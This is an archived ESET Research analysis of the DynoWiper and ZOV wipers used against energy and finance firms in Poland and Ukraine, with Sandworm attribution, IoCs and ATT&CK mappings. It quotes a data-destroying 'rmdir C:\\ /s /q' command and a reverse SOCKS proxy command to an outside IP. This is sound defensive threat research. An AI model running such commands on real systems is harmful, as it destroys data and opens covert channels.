{ "id": "266e8d25-8249-4807-9095-df1da6795317", "created_at": "2026-04-06T01:30:26.130768Z", "updated_at": "2026-04-10T13:12:49.682849Z", "deleted_at": null, "sha1_hash": "519955ff60d4e7266277ea95975d937306300556", "title": "DynoWiper update: Technical analysis and attribution", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 333771, "plain_text": "DynoWiper update: Technical analysis and attribution\r\nBy ESET Research\r\nArchived: 2026-04-06 01:02:28 UTC\r\nIn this blog post, we provide more technical details related to our previous DynoWiper publication.\r\nKey points of the report:\r\nESET researchers identified new data-wiping malware that we have named DynoWiper, used\r\nagainst an energy company in Poland.\r\nThe tactics, techniques, and procedures (TTPs) observed during the DynoWiper incident closely\r\nresemble those seen earlier this year in an incident involving the ZOV wiper in Ukraine: Z, O,\r\nand V are Russian military symbols.\r\nWe attribute DynoWiper to Sandworm with medium confidence, in contrast to the ZOV wiper,\r\nwhich we attribute to Sandworm with high confidence.\r\nSandworm profile\r\nSandworm is a Russia-aligned threat group that performs destructive attacks. It is mostly known for its attacks\r\nagainst Ukrainian energy companies in 2015-12 and 2016-12, which resulted in power outages. In 2017-06\r\nSandworm launched the NotPetya data-wiping attack that used a supply-chain vector by compromising the\r\nUkrainian accounting software M.E.Doc. In 2018-02, Sandworm launched the Olympic Destroyer data-wiping\r\nattack against organizers of the 2018 Winter Olympics in Pyeongchang.\r\nThe Sandworm group uses such advanced malware as Industroyer, which is able to communicate with equipment\r\nat energy companies via industrial control protocols. In 2022-04, CERT-UA thwarted an attack against an energy\r\ncompany in Ukraine where the Sandworm group tried to deploy a new variant of this malware, Industroyer2.\r\nIn 2020-10, the US Department of Justice published an indictment against six Russian computer hackers that it\r\nalleges prepared and conducted various Sandworm attacks. The group is commonly attributed to Unit 74455 of the\r\nRussian Main Intelligence Directorate (GRU).\r\nHistory of Sandworm’s destructive operations\r\nSandworm is a threat actor known for conducting destructive cyberattacks, targeting a wide range of entities\r\nincluding government agencies, logistics companies, transportation firms, energy providers, media organizations,\r\ngrain sector companies, and telecommunications companies. These attacks typically involve the deployment of\r\nwiper malware – malicious software designed to delete files, erase data, and render systems unbootable.\r\nIts operators have a long history of conducting such cyberattacks, and we have documented their activity\r\nextensively. In this blogpost, we focus on their recent operations involving data-wiping malware.\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 1 of 9\n\nTo evade detections by security products, Sandworm often modifies the destructive malware it deploys –\r\nsometimes by introducing minor changes or by generating newly compiled variants from the original source code,\r\nand other times by abandoning a particular wiper altogether and switching to an entirely new malware family for\r\nits operations. We rarely see Sandworm attempt to deploy a destructive malware sample that was used in an earlier\r\nattack (for example, one with a known hash) or one that is already detected at the time of deployment.\r\nSince February 2022, we have been thoroughly tracking incidents involving destructive malware and have\r\npublicly documented our findings in reports such as A year of wiper attacks in Ukraine. Over the years, Sandworm\r\nhas deployed a wide range of destructive malware families, including, in roughly chronological order,\r\nHermeticWiper, HermeticRansom, CaddyWiper, DoubleZero, ARGUEPATCH, ORCSHRED, SOLOSHRED,\r\nAWFULSHRED, Prestige ransomware, RansomBoggs ransomware, SDelete-based wipers, BidSwipe,\r\nROARBAT, SwiftSlicer, NikoWiper, SharpNikoWiper, ZEROLOT, Sting wiper, and ZOV wiper. It should be\r\nnoted that some of these malware families were deployed multiple times across a number of incidents. In 2025,\r\nESET investigated more than 10 incidents involving destructive malware attributed to Sandworm, almost all of\r\nthem occurring in Ukraine.\r\nWe continuously enhance our products to improve early detection of Sandworm operations – ideally identifying\r\nactivity before destructive wipers are deployed, and whenever possible preventing damage even when previously\r\nunknown destructive malware is executed. Because the majority of Sandworm’s cyberattacks currently target\r\nUkraine, we collaborate closely with our Ukrainian partners, including the Computer Emergency Response Team\r\nof Ukraine (CERT-UA), to support both prevention and remediation efforts.\r\nBesides Ukraine, Sandworm has a decade-long history of targeting companies in Poland, including those in the\r\nenergy sector. Typically, these operations have been conducted covertly for cyberespionage purposes, as seen in\r\nthe BlackEnergy and GreyEnergy cases. Notably, we detected the first deployment of GreyEnergy malware at a\r\nPolish energy company back in 2015.\r\nHowever, since the start of Russia’s full-scale invasion of Ukraine, Sandworm has changed its tactics regarding\r\ntargets in Poland. Specifically, in October 2022, it carried out a destructive attack against logistics companies in\r\nboth Ukraine and Poland, disguising the operation as a Prestige ransomware incident. Microsoft Threat\r\nIntelligence reported on the Prestige ransomware incidents, which they attributed to Seashell Blizzard (aka\r\nSandworm). At ESET, we detected the Prestige ransomware family and publicly attributed this activity to\r\nSandworm.\r\nIn December 2025, we detected the deployment of a destructive malware sample, which we named DynoWiper, at\r\nan energy company in Poland. The installed EDR/XDR product, ESET PROTECT, blocked execution of the\r\nwiper, significantly limiting its impact in the environment. In this blogpost, we reveal additional details about this\r\nactivity and outline our attribution process.\r\nCERT Polska did an excellent job investigating the incident and published a detailed analysis in a report available\r\non its website.\r\nDynoWiper\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 2 of 9\n\nOn December 29th\r\n, 2025, DynoWiper samples were deployed to the C:\\inetpub\\pub\\ directory, which is likely a\r\nshared directory in the victim’s domain, with the following filenames: schtask.exe, schtask2.exe, and\r\n\u003credacted\u003e_update.exe. The schtask*.exe samples contain the PDB path C:\\Users\\vagrant\\Documents\\Visual\r\nStudio 2013\\Projects\\Source\\Release\\Source.pdb. The username vagrant corresponds to a tool called Vagrant,\r\nwhich can be used to manage virtual machines. This suggests that the machine that was used to build the wiper is\r\na Vagrant box or, more likely, a host system that manages virtual machines using Vagrant. It is therefore possible\r\nthat Sandworm operators first tested the operation on virtual machines before deploying the malware in the target\r\norganization.\r\nThe attackers initially deployed \u003credacted\u003e_update.exe (PE timestamp: 2025‑12‑26 13:51:11). When this attempt\r\nfailed, they modified the wiper code, built it, and then deployed schtask.exe (PE timestamp: 2025‑12‑29\r\n13:17:06). This attempt also seems to have been unsuccessful, so they rebuilt the wiper with slightly modified\r\ncode, resulting in schtask2.exe (PE timestamp: 2025‑12‑29 14:10:07). It is likely that even this final attempt\r\nfailed. All three samples were deployed on the same day – December 29th, 2025. ESET PROTECT was installed\r\non the targeted machines and appears to have interfered with the execution of all three variants.\r\nDynoWiper’s workflow can be divided into three distinct phases, which are described later in the text. The\r\nschtask*.exe samples include only the first two phases and introduce a five-second delay between them. In\r\ncontrast, \u003credacted\u003e_update.exe implements all three phases and does not include the five-second delay.\r\nThe wiper overwrites files using a 16-byte buffer that contains random data generated once at the start of the\r\nwiper’s execution. Files of size 16 bytes or fewer are fully overwritten, with smaller files being extended to 16\r\nbytes. To speed up the destruction process, other files (larger than 16 bytes) have only some parts of their contents\r\noverwritten.\r\nDuring the first phase, the malware recursively wipes files on all removable and fixed drives, excluding specific\r\ndirectories (using case-insensitive comparison):\r\nsystem32\r\nwindows\r\nprogram files\r\nprogram files(x86) (a space is missing before the open bracket)\r\ntemp\r\nrecycle.bin\r\n$recycle.bin\r\nboot\r\nperflogs\r\nappdata\r\ndocuments and settings\r\nFor \u003credacted\u003e_update.exe and schtask.exe, the second phase behaves similarly, but this time the previously\r\nexcluded directories are not skipped in the root directory (e.g., C:\\). As a result, a path like C:\\Windows is no\r\nlonger excluded, while C:\\Windows\\System32 still is. For schtask2.exe, in the second phase, all files and\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 3 of 9\n\ndirectories on removable and fixed drives are removed via the DeleteFileW API without skipping any directories,\r\nand without overwriting files.\r\nThe third phase forces the system to reboot, completing the destruction of the system.\r\nUnlike Industroyer and Industroyer2, the discovered DynoWiper samples focus solely on the IT environment, with\r\nno observed functionality targeting OT (operational technology) industrial components. However, this does not\r\nexclude the possibility that such capabilities were present elsewhere in the attack chain.\r\nOther tools deployed\r\nWe identified additional tools used within the same network prior to deployment of the wiper.\r\nIn early stages of the attack, attackers attempted to download the publicly available Rubeus tool. The following\r\npath was used: c:\\users\\\u003cUSERNAME\u003e\\downloads\\rubeus.exe.\r\nIn early December 2025, attackers attempted to dump the LSASS process using Windows Task Manager.\r\nAdditionally, they tried to download and launch a publicly available SOCKS5 proxy tool called rsocx. The\r\nattackers attempted to execute this proxy in reverse-connect mode using the command line C:\\Users\\\r\n\u003cUSERNAME\u003e\\Downloads\\r.exe -r 31.172.71[.]5:8008. This server is used by ProGame (progamevl[.]ru), a\r\nprogramming school for kids in Vladivostok, Russia, and was likely compromised.\r\nZOV wiper\r\nWe identified several similarities to previously known destructive malware, specifically to the wiper we have\r\nnamed ZOV, which we attribute to Sandworm with high confidence. DynoWiper operates in a broadly similar\r\nfashion to the ZOV wiper. Notably, the exclusion of certain directories and especially the clear separate logic\r\npresent in the code for wiping smaller and larger files can also be found in the ZOV wiper.\r\nZOV is destructive malware that we detected being deployed against a financial institution in Ukraine in\r\nNovember 2025.\r\nOnce executed, the ZOV wiper iterates over files on all fixed drives and wipes them by overwriting their contents.\r\nIt skips files in these directories:\r\n$Recycle.Bin\r\nAppData\r\nApplication Data\r\nProgram Files\r\nProgram Files (x86)\r\nTemp\r\nWindows\r\nWindows.old\r\nHow a file is wiped depends on its size. To destroy data as quickly as possible, files smaller than 4,098 bytes have\r\ntheir entire contents overwritten; larger files have only some parts of their contents overwritten. The buffer, which\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 4 of 9\n\nis repeatedly written to files, is of size 4,098 bytes, and starts with the string ZOV (referring to the Russian\r\nmilitary symbols) followed by null bytes.\r\nAfter completing this quick wipe, it prints how many directories and files were wiped, and runs the shell\r\ncommand time /t \u0026 ver \u0026 rmdir C:\\\\ /s /q \u0026\u0026 dir \u0026\u0026 shutdown /r (print current local time and Windows version,\r\nerase the contents of the C: drive, list the current working directory, and initiates a system reboot).\r\nRight before exiting, the wiper drops an image from its resources to %appdata%\\LocWall.jpg and sets it as the\r\ndesktop background. As shown in Figure 1, the wallpaper also has the ZOV symbol.\r\nFigure 1. Wallpaper dropped by the ZOV wiper\r\nThere was another ZOV wiper case at an energy company in Ukraine, where the attackers deployed the wiper on\r\nJanuary 25th, 2024. In the observed sample, the buffer that is written to files does not contain the ZOV symbol.\r\nInstead, it contains the single character P followed by null bytes. Also, the text in the dropped image (see Figure 2)\r\nresembles a ransom note but refers to a nonexistent Bitcoin address.\r\nFigure 2. Wallpaper dropped by the ZOV wiper (2024 case)\r\nDestructive malware deployment methods\r\nSandworm typically abuses Active Directory Group Policy to deploy its data-wiping malware across all machines\r\nwithin a compromised network. Organization-wide GPO deployment generally requires Domain Admin privileges\r\nand is often staged from a domain controller. This activity underscores Sandworm’s sophistication and its proven\r\nability to obtain high-privilege Active Directory access across many intrusions.\r\nDuring the incident response to the Industroyer2 attack in April 2022, CERT‑UA discovered a PowerShell script\r\nthey named POWERGAP. Sandworm had been using this script frequently to deploy various data-wiping malware\r\nacross multiple organizations. Later, in November 2022, ESET researchers found that the same script had been\r\nused to distribute the RansomBoggs ransomware in Ukraine. However, at some point Sandworm stopped using\r\nthis deployment script, yet continued deploying destructive malware via Active Directory Group Policy.\r\nInterestingly, during the analysis of the ZOV wiper incident, we identified a newer PowerShell script used to\r\ndeploy the ZOV wiper. This script contains hardcoded variables specific to the victim’s environment, including the\r\ndomain controller name, domain name, Group Policy Object (GPO) name, deployed filename, file path, GPO link\r\nstring, and scheduled task name. Once executed, the script performs all necessary actions to distribute the\r\nmalicious binary to users and computers across the entire domain.\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 5 of 9\n\nMore significantly, a deployment script with very similar functionality, but without strong code similarity, was\r\ndiscovered being used to deploy the DynoWiper malware in a Polish energy company. In that case, however, the\r\nmalicious binary was not distributed to individual computers but was instead executed directly from a shared\r\nnetwork directory.\r\nAs mentioned above, operations of this data-wiping nature commonly require a threat actor to possess Domain\r\nAdmin privileges. Once a threat actor reaches this level of access, defending the environment becomes extremely\r\ndifficult, as they can perform nearly any action within the domain. Some organizations, particularly in the energy\r\nsector, also intentionally segment or isolate parts of their IT/OT environments to meet operational and safety\r\nrequirements. While this isolation can be an appropriate risk-management choice, it typically reduces defender\r\nvisibility and can slow evidence collection and response workflows, which in turn can complicate incident\r\ninvestigation and result in lower-confidence attribution.\r\nAttribution\r\nWe attribute DynoWiper to Sandworm with medium confidence. The following factors support our assessment:\r\nThere is a strong overlap between the TTPs observed in this activity and those typically associated with\r\nSandworm operations. Specifically, the use of data-wiping malware and its deployment via Active\r\nDirectory Group Policy are both techniques commonly employed by Sandworm. As described above, we\r\nidentified similarities in both the wipers used and the Group Policy deployment script when comparing this\r\ncase to previous Sandworm activity.\r\nThe targeted industry aligns with Sandworm’s typical interests. This group frequently targets energy\r\ncompanies and has a proven track record of attacking OT environments.\r\nHistorically, Sandworm has targeted Polish energy companies for cyberespionage purposes, using the\r\nBlackEnergy and GreyEnergy malware families.\r\nWe are not aware of any other recently active threat actors that have used data-wiping malware in their\r\noperations against targets in European Union countries.\r\nThe following factors contradict a Sandworm attribution:\r\nAlthough Sandworm has previously targeted companies in Poland, it typically did so covertly – either for\r\ncyberespionage purposes only or by disguising its data-wiping activity as a ransomware attack, such as in the\r\nPrestige ransomware incidents. It is worth noting that we only attribute the data-wiping component of this activity\r\nto Sandworm with medium confidence. We do not have visibility into the initial access method used in this\r\nincident and therefore cannot assess how or by whom the first steps were carried out. In particular, the preparatory\r\nstages leading up to the destructive activity may have been conducted by another threat actor group collaborating\r\nwith Sandworm. Notably, in 2025 we observed and confirmed that the UAC‑0099 group conducted initial access\r\noperations against targets in Ukraine and subsequently handed off validated targets to Sandworm for follow-up\r\nactivity.\r\nConclusion\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 6 of 9\n\nThis incident represents a rare and previously unseen case in which a Russia-aligned threat actor deployed\r\ndestructive, data-wiping malware against an energy company in Poland.\r\nFor any inquiries about our research published on WeLiveSecurity, please contact us at\r\nthreatintel@eset.com. \r\nESET Research offers private APT intelligence reports and data feeds. For any inquiries about this\r\nservice, visit the ESET Threat Intelligence page.\r\nIoCs\r\nSHA-1 Filename Detection Description\r\n472CA448F82A7FF6F373\r\nA32FDB9586FD7C38B631\r\nTMP_Backup.tmp.exe Win32/KillFiles.NMJ ZOV wiper.\r\n4F8E9336A784A1963530\r\n23133E0F8FA54F6A92E2\r\nTS_5WB.tmp.exe Win32/KillFiles.NMJ ZOV wiper.\r\n4EC3C90846AF6B79EE1A\r\n5188EEFA3FD21F6D4CF6\r\n\u003credacted\u003e_update.exe Win32/KillFiles.NMO DynoWiper.\r\n86596A5C5B05A8BFBD14\r\n876DE7404702F7D0D61B\r\nschtask.exe Win32/KillFiles.NMO DynoWiper.\r\n69EDE7E341FD26FA0577\r\n692B601D80CB44778D93\r\nschtask2.exe Win32/KillFiles.NMO DynoWiper.\r\n9EC4C38394EA2048CA81\r\nD48B1BD66DE48D8BD4E8\r\nrsocx.exe Win64/HackTool.Rsocx.A\r\nrsocx SOCKS5\r\nproxy tool.\r\n410C8A57FE6E09EDBFEB\r\nABA7D5D3E4797CA80A19\r\nRubeus.exe MSIL/Riskware.Rubeus.A\r\nRubeus toolset\r\nfor Kerberos\r\nattacks.\r\nNetwork\r\nIP Domain Hosting provider First seen Details\r\n31.172.71[.]5 N/A Fornex Hosting S.L. 2024-10-27 SOCKS5 server.\r\nMITRE ATT\u0026CK techniques\r\nThis table was built using version 18 of the MITRE ATT\u0026CK framework.\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 7 of 9\n\nTactic ID Name Description\r\nResource\r\nDevelopment\r\nT1584.004\r\nCompromise Infrastructure:\r\nServer\r\nA likely compromised server was used to\r\nhost a SOCKS5 server.\r\nExecution\r\nT1059.001\r\nCommand and Scripting\r\nInterpreter: PowerShell\r\nSandworm used PowerShell scripts for\r\ndeployment in the target organizations.\r\nT1059.003\r\nCommand and Scripting\r\nInterpreter: Windows\r\nCommand Shell\r\nThe ZOV wiper runs a shell command via\r\ncmd.exe to gather information, remove\r\nfiles and directories, and schedule a\r\nsystem reboot.\r\nT1053.005\r\nScheduled Task/Job:\r\nScheduled Task\r\nThe ZOV wiper and DynoWiper are\r\nexecuted using Windows scheduled tasks.\r\nCredential\r\nAccess\r\nT1003.001\r\nOS Credential Dumping:\r\nLSASS Memory\r\nThe attackers attempted to dump LSASS\r\nprocess memory using Windows Task\r\nManager.\r\nDiscovery\r\nT1083\r\nFile and Directory\r\nDiscovery\r\nThe ZOV wiper and DynoWiper search for\r\nfiles and directories in order to wipe them.\r\nT1680 Local Storage Discovery\r\nThe ZOV wiper and DynoWiper identify\r\nadditional disks present on the system to\r\nsubsequently wipe data on them.\r\nT1082\r\nSystem Information\r\nDiscovery\r\nThe ZOV wiper prints the Windows\r\nversion of the running system.\r\nT1124 System Time Discovery The ZOV wiper prints current local time.\r\nCommand and\r\nControl\r\nT1105 Ingress Tool Transfer\r\nThe attackers tried to download Rubeus\r\nand rsocx in the target organization.\r\nT1090.002 Proxy: External Proxy\r\nThe attackers attempted to create a\r\nconnection with an external proxy using\r\nrsocx.\r\nImpact\r\nT1561.001\r\nDisk Wipe: Disk Content\r\nWipe\r\nThe ZOV wiper and DynoWiper overwrite\r\ncontents of files.\r\nT1529 System Shutdown/Reboot\r\nThe ZOV wiper and DynoWiper reboot\r\nthe system after the wiping process is\r\ncomplete.\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 8 of 9\n\nSource: https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nhttps://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/\r\nPage 9 of 9", "extraction_quality": 1, "language": "EN", "sources": [ "Malpedia" ], "origins": [ "web" ], "references": [ "https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/" ], "report_names": [ "dynowiper-update-technical-analysis-attribution" ], "threat_actors": [ { "id": "4d9cdc7f-72d6-4e17-89d8-f6323bfcaebb", "created_at": "2023-01-06T13:46:38.82716Z", "updated_at": "2026-04-10T02:00:03.113893Z", "deleted_at": null, "main_name": "GreyEnergy", "aliases": [], "source_name": "MISPGALAXY:GreyEnergy", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df", "created_at": "2023-01-06T13:46:38.402513Z", "updated_at": "2026-04-10T02:00:02.959797Z", "deleted_at": null, "main_name": "Sandworm", "aliases": [ "IRIDIUM", "Blue Echidna", "VOODOO BEAR", "FROZENBARENTS", "UAC-0113", "Seashell Blizzard", "UAC-0082", "APT44", "Quedagh", "TEMP.Noble", "IRON VIKING", "G0034", "ELECTRUM", "TeleBots" ], "source_name": "MISPGALAXY:Sandworm", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "7bd810cb-d674-4763-86eb-2cc182d24ea0", "created_at": "2022-10-25T16:07:24.1537Z", "updated_at": "2026-04-10T02:00:04.883793Z", "deleted_at": null, "main_name": "Sandworm Team", "aliases": [ "APT 44", "ATK 14", "BE2", "Blue Echidna", "CTG-7263", "FROZENBARENTS", "G0034", "Grey Tornado", "IRIDIUM", "Iron Viking", "Quedagh", "Razing Ursa", "Sandworm", "Sandworm Team", "Seashell Blizzard", "TEMP.Noble", "UAC-0082", "UAC-0113", "UAC-0125", "UAC-0133", "Voodoo Bear" ], "source_name": "ETDA:Sandworm Team", "tools": [ "AWFULSHRED", "ArguePatch", "BIASBOAT", "Black Energy", "BlackEnergy", "CaddyWiper", "Colibri Loader", "Cyclops Blink", "CyclopsBlink", "DCRat", "DarkCrystal RAT", "Fobushell", "GOSSIPFLOW", "Gcat", "IcyWell", "Industroyer2", "JaguarBlade", "JuicyPotato", "Kapeka", "KillDisk.NCX", "LOADGRIP", "LOLBAS", "LOLBins", "Living off the Land", "ORCSHRED", "P.A.S.", "PassKillDisk", "Pitvotnacci", "PsList", "QUEUESEED", "RansomBoggs", "RottenPotato", "SOLOSHRED", "SwiftSlicer", "VPNFilter", "Warzone", "Warzone RAT", "Weevly" ], "source_id": "ETDA", "reports": null }, { "id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa", "created_at": "2022-10-25T16:47:55.919702Z", "updated_at": "2026-04-10T02:00:03.618194Z", "deleted_at": null, "main_name": "IRON VIKING", "aliases": [ "APT44 ", "ATK14 ", "BlackEnergy Group", "Blue Echidna ", "CTG-7263 ", "ELECTRUM ", "FROZENBARENTS ", "Hades/OlympicDestroyer ", "IRIDIUM ", "Qudedagh ", "Sandworm Team ", "Seashell Blizzard ", "TEMP.Noble ", "Telebots ", "Voodoo Bear " ], "source_name": "Secureworks:IRON VIKING", "tools": [ "BadRabbit", "BlackEnergy", "GCat", "NotPetya", "PSCrypt", "TeleBot", "TeleDoor", "xData" ], "source_id": "Secureworks", "reports": null }, { "id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6", "created_at": "2022-10-25T15:50:23.339976Z", "updated_at": "2026-04-10T02:00:05.27483Z", "deleted_at": null, "main_name": "Sandworm Team", "aliases": [ "Sandworm Team", "ELECTRUM", "Telebots", "IRON VIKING", "BlackEnergy (Group)", "Quedagh", "Voodoo Bear", "IRIDIUM", "Seashell Blizzard", "FROZENBARENTS", "APT44" ], "source_name": "MITRE:Sandworm Team", "tools": [ "Bad Rabbit", "Mimikatz", "Exaramel for Linux", "Exaramel for Windows", "GreyEnergy", "PsExec", "Prestige", "P.A.S. Webshell", "AcidPour", "VPNFilter", "Neo-reGeorg", "Cyclops Blink", "SDelete", "Kapeka", "AcidRain", "Industroyer", "Industroyer2", "BlackEnergy", "Cobalt Strike", "NotPetya", "KillDisk", "PoshC2", "Impacket", "Invoke-PSImage", "Olympic Destroyer" ], "source_id": "MITRE", "reports": null } ], "ts_created_at": 1775439026, "ts_updated_at": 1775826769, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/519955ff60d4e7266277ea95975d937306300556.pdf", "text": "https://archive.orkl.eu/519955ff60d4e7266277ea95975d937306300556.txt", "img": "https://archive.orkl.eu/519955ff60d4e7266277ea95975d937306300556.jpg" } }